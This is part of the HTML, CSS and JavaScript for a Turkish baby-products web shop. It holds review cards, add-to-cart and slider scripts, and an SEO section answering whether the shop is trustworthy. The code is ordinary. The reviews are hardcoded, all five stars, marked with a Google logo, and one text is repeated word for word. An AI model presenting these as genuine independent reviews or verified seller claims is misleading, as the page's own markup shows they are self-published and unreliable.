                        <p class="rc-text">Bebeğimiz için aldık, orijinal ürün ve hızlı kargo.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">A</div>
                            <div class="rc-meta">
                                <strong>Ahmet Y.</strong>
                                <span>2 gün önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Bebek arabası çok kaliteli geldi, paketleme mükemmeldi. Aynı gün teslimat süper!</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">M</div>
                            <div class="rc-meta">
                                <strong>Mehmet K.</strong>
                                <span>1 hafta önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Molfix bezleri orijinal ve uygun fiyatlı. Yetkili satıcı olmaları güven veriyor.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">A</div>
                            <div class="rc-meta">
                                <strong>Ayşe T.</strong>
                                <span>3 gün önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Paketleme çok özenliydi teşekkürler. Ürünler sağlam geldi.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">B</div>
                            <div class="rc-meta">
                                <strong>Burak S.</strong>
                                <span>Dün</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Bu fiyata bulamazsınız başka yerde. Bebek ürünlerinde en iyisi.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">C</div>
                            <div class="rc-meta">
                                <strong>Canan D.</strong>
                                <span>5 gün önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Fiyat performans ürünü, harika. Satıcı ilgili.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">E</div>
                            <div class="rc-meta">
                                <strong>Emre A.</strong>
                                <span>1 ay önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Satıcı çok ilgili, hemen kargoladı. Paket gayet sağlam geldi.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">S</div>
                            <div class="rc-meta">
                                <strong>Selin K.</strong>
                                <span>2 hafta önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Bebek bezleri orijinal, fiyatı da çok uygun. Teşekkürler!</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">V</div>
                            <div class="rc-meta">
                                <strong>Volkan B.</strong>
                                <span>3 hafta önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Bebeğimiz için aldık, orijinal ürün ve hızlı kargo.</p>
                    </div>        </div>
    </div>
</section>


<style>
    /* GLOBAL UTILS */
    .container {
        max-width: 1200px;
        margin: 0 auto;
        padding: 0 15px;
    }

    /* GRID SYSTEMS */
    .product-grid {
        display: grid;
        grid-template-columns: repeat(2, 1fr);
        gap: 20px;
        padding: 10px;
    }

    @media(min-width: 768px) {
        .product-grid {
            grid-template-columns: repeat(auto-fill, minmax(220px, 1fr));
            gap: 30px;
        }
    }

    .category-grid {
        display: grid;
        grid-template-columns: repeat(2, 1fr);
        gap: 15px;
    }

    @media(min-width: 600px) {
        .category-grid {
            grid-template-columns: repeat(auto-fill, minmax(160px, 1fr));
            gap: 25px;
        }
    }

    /* === PREMIUM PRODUCT CARD (BROWN/PINK THEME) === */
    .product-card {
        background: white !important;
        border-radius: 16px !important;
        display: flex;
        flex-direction: column;
        height: 100%;
        position: relative;
        overflow: hidden !important;
        box-shadow: 0 5px 15px rgba(27, 79, 114, 0.1);
        transition: transform 0.2s;
        border: 1px solid #EBF5FB !important;
    }

    .product-card:active {
        transform: scale(0.98) !important;
    }

    /* === SOFT GLOW ÇERÇEVE === */
    .product-card::after {
        content: "";
        position: absolute;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        border-radius: 16px;
        border: 1px solid transparent;
        box-shadow: inset 0 0 15px rgba(137, 207, 240, 0.1);
        pointer-events: none;
        z-index: 999;
        animation: borderPulse 3s infinite alternate ease-in-out;
    }

    @keyframes borderPulse {
        0% {
            border-color: #89CFF0;
            box-shadow: 0 0 10px rgba(137, 207, 240, 0.2), inset 0 0 5px rgba(137, 207, 240, 0.1);
        }

        100% {
            border-color: #5DADE2;
            box-shadow: 0 0 20px rgba(93, 173, 226, 0.3), inset 0 0 10px rgba(93, 173, 226, 0.2);
        }
    }

    .img-wrapper {
        position: relative;
        padding-top: 100%;
        background: #fff;
        overflow: hidden;
    }

    .img-wrapper img {
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        object-fit: contain !important;
        padding: 15px;
    }

    /* BLUE THEME BADGES */
    .badges {
        position: absolute;
        top: 8px;
        left: 8px;
        right: auto;
        /* Allow auto width */
        display: flex;
        align-items: center;
        gap: 6px;
        pointer-events: none;
        z-index: 5;
    }

    /* BADGES LAYOUT CLEANUP - Moved to mobile-fix.css */
    .badges-stack {
        z-index: 20 !important;
    }

    .badge-mdf-brown {
        position: absolute;
        top: 10px;
        right: 10px;
        background: #1B4F72 !important;
        color: white !important;
        font-size: 0.65rem !important;
        font-weight: 800 !important;
        padding: 4px 10px !important;
        border-radius: 6px !important;
        text-transform: uppercase;
        letter-spacing: 0.5px;
        z-index: 10;
        pointer-events: none;
        box-shadow: 0 4px 8px rgba(27, 79, 114, 0.3);
        border: 1px solid rgba(255, 255, 255, 0.1);
    }

    .badge-pink-sm {
        background: linear-gradient(135deg, #89CFF0, #2E86C1) !important;
        margin-right: 6px;
        /* Fallback for gap */
        color: white;
        font-size: 0.55rem;
        font-weight: 700;
        padding: 4px 8px;
        border-radius: 6px;
        box-shadow: 0 2px 5px rgba(0, 0, 0, 0.15);
    }

    .badge-cyan-sm {
        background: linear-gradient(135deg, #5DADE2, #1B4F72) !important;
        color: white;
        font-size: 0.55rem;
        font-weight: 700;
        padding: 4px 8px;
        border-radius: 6px;
        box-shadow: 0 2px 5px rgba(0, 0, 0, 0.15);
    }

    .product-info {
        padding: 12px;
        display: flex;
        flex-direction: column;
        flex-grow: 1;
        background: white;
        border-top: 1px solid #f1f5f9;
    }

    .category-tag {
        font-size: 0.6rem;
        color: #94a3b8;
        font-weight: 600;
        text-transform: uppercase;
        margin-bottom: 4px;
    }

    .product-info h3 {
        margin: 0 0 6px 0;
        line-height: 1.35;
    }

    .product-info h3 a {
        font-size: 0.9rem;
        font-weight: 700;
        color: #334155;
        text-decoration: none;
        display: -webkit-box;
        -webkit-line-clamp: 3;
        -webkit-box-orient: vertical;
        overflow: hidden;
        min-height: 2.7em;
        /* En az 2 satır kadar yer kaplasın */
        height: auto;
    }

    .price-row {
        margin-top: auto;
        display: flex;
        justify-content: space-between;
        align-items: center;
        padding-top: 8px;
    }

    .price {
        font-size: 1.15rem;
        font-weight: 800;
        color: #2E86C1;
        letter-spacing: -0.5px;
    }

    .old-price {
        font-size: 0.85rem;
        text-decoration: line-through;
        color: #94a3b8;
        font-weight: 600;
        margin-right: 5px;
    }

    /* BTN ADD PINK */
    .btn-add-mini-pink {
        width: 36px;
        height: 36px;
        border-radius: 10px;
        background: #EBF5FB;
        border: 1px solid #89CFF0;
        color: #2E86C1;
        display: flex;
        align-items: center;
        justify-content: center;
        cursor: pointer;
        transition: 0.2s;
        position: relative;
        z-index: 1000;
    }

    .btn-add-mini-pink:active {
        background: #2E86C1;
        color: white;
        transform: scale(0.9);
    }

    .btn-add-mini-pink:hover {
        background: #2E86C1;
        color: white;
        box-shadow: 0 4px 12px rgba(46, 134, 193, 0.3);
    }

    /* === NEON CATEGORY CARDS (NEW) === */
    .category-card-neon {
        background: white;
        border: 2px solid #e2e8f0;
        padding: 1.5rem;
        border-radius: 16px;
        text-align: center;
        text-decoration: none;
        color: #0f172a;
        transition: all 0.3s ease;
        display: flex;
        flex-direction: column;
        align-items: center;
        gap: 12px;
        position: relative;
        overflow: hidden;
    }

    .cat-icon-neon {
        width: 60px;
        height: 60px;
        background: #EBF5FB;
        /* Baby Blue BG */
        border-radius: 50%;
        display: flex;
        align-items: center;
        justify-content: center;
        font-size: 1.8rem;
        color: #1B4F72;
        /* Dark Blue Icon */
        transition: 0.3s;
        box-shadow: 0 0 0 4px rgba(27, 79, 114, 0.1);
    }

    .category-card-neon span {
        font-weight: 700;
        font-size: 1rem;
        color: #334155;
        transition: 0.3s;
    }

    /* HOVER EFFECTS FOR CATEGORIES */
    .category-card-neon:hover {
        border-color: #89CFF0;
        box-shadow: 0 0 25px rgba(137, 207, 240, 0.2), inset 0 0 10px rgba(137, 207, 240, 0.05);
        transform: translateY(-5px);
    }

    .category-card-neon:hover .cat-icon-neon {
        background: #89CFF0;
        color: white;
        box-shadow: 0 0 15px rgba(137, 207, 240, 0.5);
        transform: scale(1.1);
    }

    .category-card-neon:hover span {
        color: #2E86C1;
    }

    /* FEATURES */
    .feature-box {
        display: flex;
        flex-direction: column;
        align-items: center;
        gap: 10px;
    }

    .feature-box .icon-circle {
        width: 64px;
        height: 64px;
        background: #eff6ff;
        border-radius: 50%;
        display: flex;
        align-items: center;
        justify-content: center;
        font-size: 1.8rem;
        color: #3b82f6;
        margin-bottom: 5px;
    }

    .feature-box h4 {
        font-size: 1rem;
        font-weight: 700;
        color: #0f172a;
        margin: 0;
    }

    .feature-box p {
        color: #64748b;
        font-size: 0.85rem;
        margin: 0;
    }

    /* VIEW ALL BTN */
    .view-all-btn {
        color: #3b82f6;
        font-weight: 700;
        font-size: 0.95rem;
        text-decoration: none;
        display: flex;
        align-items: center;
        gap: 8px;
        transition: 0.2s;
    }

    .view-all-btn:hover {
        gap: 12px;
        color: #1e40af;
    }

    /* REVIEWS */
    .reviews-header {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-bottom: 1.5rem;
    }

    .rh-left img {
        height: 26px;
        margin-right: 10px;
    }

    .rh-left span {
        font-weight: 800;
        font-size: 1.3rem;
        color: #1e293b;
        letter-spacing: -0.5px;
    }

    .reviews-scroll-container {
        display: flex;
        gap: 20px;
        overflow-x: scroll;
        padding-bottom: 20px;
        -webkit-overflow-scrolling: touch;
        scrollbar-width: none;
    }

    .review-card-fixed {
        min-width: 300px;
        max-width: 300px;
        background: white;
        border-radius: 16px;
        border: 1px solid #e2e8f0;
        padding: 1.5rem;
        box-shadow: 0 10px 30px rgba(0, 0, 0, 0.03);
        flex-shrink: 0;
    }

    .rc-avatar {
        width: 42px;
        height: 42px;
        background: #EBF5FB;
        color: #1B4F72;
        border-radius: 10px;
        display: flex;
        align-items: center;
        justify-content: center;
        font-weight: 800;
    }

    .badge-narin-brown {
        background: #1B4F72 !important;
        color: white !important;
        font-size: 0.7rem !important;
        font-weight: 800 !important;
        padding: 4px 12px !important;
        border-radius: 6px !important;
        text-transform: uppercase;
        letter-spacing: 0.5px;
        display: inline-block;
        box-shadow: 0 4px 10px rgba(27, 79, 114, 0.2);
    }
</style>

<script>
    window.showNotification = function (message, type = 'success') {
        if (typeof Swal !== 'undefined') {
            const Toast = Swal.mixin({
                toast: true, position: 'top', showConfirmButton: false, timer: 2000,
                // NURSERY THEME FOR INDEX
                background: type === 'success' ? '#1B4F72' : '#e57373', color: '#fff'
            });
            Toast.fire({ icon: type, title: message });
        } else { alert(message); }
    };

    function addToCart(productId) {
        const formData = new FormData(); formData.append('product_id', productId); formData.append('action', 'add'); formData.append('quantity', 1);
        const btn = event.currentTarget; const originalHtml = btn.innerHTML;
        btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i>'; btn.disabled = true;

        fetch('sepet.php?action=add', { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(r => r.json())
            .then(d => {
                btn.innerHTML = '<i class="fas fa-check"></i>';
                setTimeout(() => { btn.innerHTML = originalHtml; btn.disabled = false; }, 1500);
                if (d.success) {
                    if (d.count !== undefined) updateCartBadges(d.count);
                    window.showNotification('Sepete eklendi!', 'success');
                } else {
                    window.showNotification(d.message || 'Hata', 'error');
                    if (d.redirect) {
                        setTimeout(() => { window.location.href = d.redirect; }, 2000);
                    }
                }
            })
            .catch(e => { btn.innerHTML = originalHtml; btn.disabled = false; console.error(e); });
    }

    function updateCartBadges(count) {
        const mobileContainer = document.querySelector('.mobile-bottom-nav a[href="sepet.php"] > div');
        if (mobileContainer) {
            let badge = mobileContainer.querySelector('.mobile-badge');
            if (count > 0) {
                if (!badge) { badge = document.createElement('div'); badge.className = 'mobile-badge'; mobileContainer.appendChild(badge); }
                badge.textContent = count; badge.style.display = 'flex'; badge.style.visibility = 'visible'; badge.style.opacity = '1';
            } else { if (badge) badge.style.display = 'none'; }
        }
        const desktopBadge = document.querySelector('.cart-count, .badge');
        if (desktopBadge) { desktopBadge.textContent = count; desktopBadge.style.display = count > 0 ? 'inline-block' : 'none'; }
    }

    document.addEventListener('DOMContentLoaded', function () {
        const scrollContainer = document.getElementById('reviewsScroll');
        let scrollSpeed = 1; let isScrolling = true;
        function autoScroll() {
            if (isScrolling && scrollContainer) {
                if (scrollContainer.scrollLeft + scrollContainer.clientWidth >= scrollContainer.scrollWidth - 10) { scrollContainer.scrollLeft = 0; }
                else { scrollContainer.scrollLeft += scrollSpeed; }
            } requestAnimationFrame(autoScroll);
        }
        if (scrollContainer) {
            scrollContainer.addEventListener('mouseenter', () => isScrolling = false);
            scrollContainer.addEventListener('mouseleave', () => isScrolling = true);
            scrollContainer.addEventListener('touchstart', () => isScrolling = false);
            scrollContainer.addEventListener('touchend', () => isScrolling = true);
            requestAnimationFrame(autoScroll);
        }
    });
    // HERO SLIDER LOGIC
    let currentSlide = 0;
    const slides = document.querySelectorAll('.hero-slide');
    const dots = document.querySelectorAll('.slider-dot');

    function goToSlide(n) {
        if (slides.length === 0) return;

        // Remove active from current
        slides[currentSlide].classList.remove('active');
        if (dots[currentSlide]) dots[currentSlide].classList.remove('active');

        // Calculate next
        currentSlide = (n + slides.length) % slides.length;

        // Add active to next
        slides[currentSlide].classList.add('active');
        if (dots[currentSlide]) dots[currentSlide].classList.add('active');
    }

    // Auto Slide every 3 seconds
    if (slides.length > 0) {
        setInterval(() => {
            goToSlide(currentSlide + 1);
        }, 3000);
    }
</script>

<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<style>
    .toast,
    #toast,
    .scroll-top,
    #scrollTop {
        display: none !important;
        opacity: 0 !important;
        pointer-events: none !important;
    }
</style>
<script>document.addEventListener('DOMContentLoaded', function () { document.querySelectorAll('#scrollTop, #toast, .toast').forEach(el => el.remove()); });</script>


<!-- SEO TRUST SECTION -->
<section class="seo-trust-section"
    style="background: #f8fafc; padding: 4rem 1rem; border-top: 1px solid #e2e8f0; font-family: 'Outfit', sans-serif;">
    <div class="container" style="max-width: 1000px; margin: 0 auto;">
        <div style="text-align: center; margin-bottom: 3rem;">
            <h2 style="font-size: 2.2rem; color: #1B4F72; font-weight: 800; margin-bottom: 1rem;">Bebek Gezegeni
                Güvenilir mi?</h2>
            <p style="color: #5B7D95; font-size: 1.1rem; line-height: 1.6;">Binlerce ailenin tercihi, bebek ürünlerinde
                güven ve kalitenin adresi Bebek Gezegeni.</p>
        </div>

        <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 2rem;">
            <div
                style="background: white; padding: 2rem; border-radius: 20px; box-shadow: 0 10px 30px rgba(0,0,0,0.03); border: 1px solid #f1f5f9;">
                <h3 style="color: #2E86C1; font-size: 1.3rem; margin-bottom: 1rem;"><i class="fas fa-check-circle"></i>
                    Gerçek Müşteri Deneyimi</h3>
                <p style="color: #64748b; font-style: italic; line-height: 1.6;">"Bebek Gezegeni'nden <strong>alışveriş
                        yaptım çok memnunum</strong>. Ürünler kaliteli ve hızlı kargo ile geldi. Kesinlikle güvenilir
                    bir site."</p>
                <span style="display: block; margin-top: 1rem; font-weight: 700; color: #1B4F72;">- Ayşe Yılmaz,
                    İstanbul</span>
            </div>

            <div
                style="background: white; padding: 2rem; border-radius: 20px; box-shadow: 0 10px 30px rgba(0,0,0,0.03); border: 1px solid #f1f5f9;">
                <h3 style="color: #2E86C1; font-size: 1.3rem; margin-bottom: 1rem;"><i class="fas fa-shield-alt"></i>
                    Kurumsal ve Güvenli</h3>
                <p style="color: #64748b; line-height: 1.6;">Bebek Gezegeni olarak, tüm siparişlerinizde 256-bit SSL
                    korumalı ödeme sistemleri ve hızlı kargo imkanı sunuyoruz. Güvenilir markalar ve kaliteli ürünlerle
                    hizmetinizdeyiz.</p>
            </div>
        </div>

        <div
            style="margin-top: 3rem; background: #fff; padding: 2rem; border-radius: 20px; border: 1px dashed #2E86C1;">
            <h4 style="color: #1B4F72; margin-bottom: 1rem; font-weight: 800;">Sıkça Sorulan Sorular</h4>
            <div style="color: #1B4F72; font-size: 0.95rem;">
                <p><strong>Soru:</strong> Ürünleriniz orijinal mi?</p>
                <p style="color: #64748b; margin-bottom: 1rem;"><strong>Cevap:</strong> Evet, Molfix, Prima, Chicco gibi markaların yetkili satıcısıyız. Tüm ürünlerimiz orijinaldir.</p>

                <p><strong>Soru:</strong> Aynı gün teslimat nasıl çalışıyor?</p>
                <p style="color: #64748b; margin-bottom: 1rem;"><strong>Cevap:</strong> 09:00-18:00 arası verilen siparişler büyükşehirlere kurye ile aynı gün teslim edilir.</p>

                <p><strong>Soru:</strong> Kargo ücreti var mı?</p>
                <p style="color: #64748b; margin-bottom: 0;"><strong>Cevap:</strong> Türkiye'nin her yerine kargo <strong>tamamen ücretsizdir</strong>.</p>
            </div>
        </div>
    </div>
</section>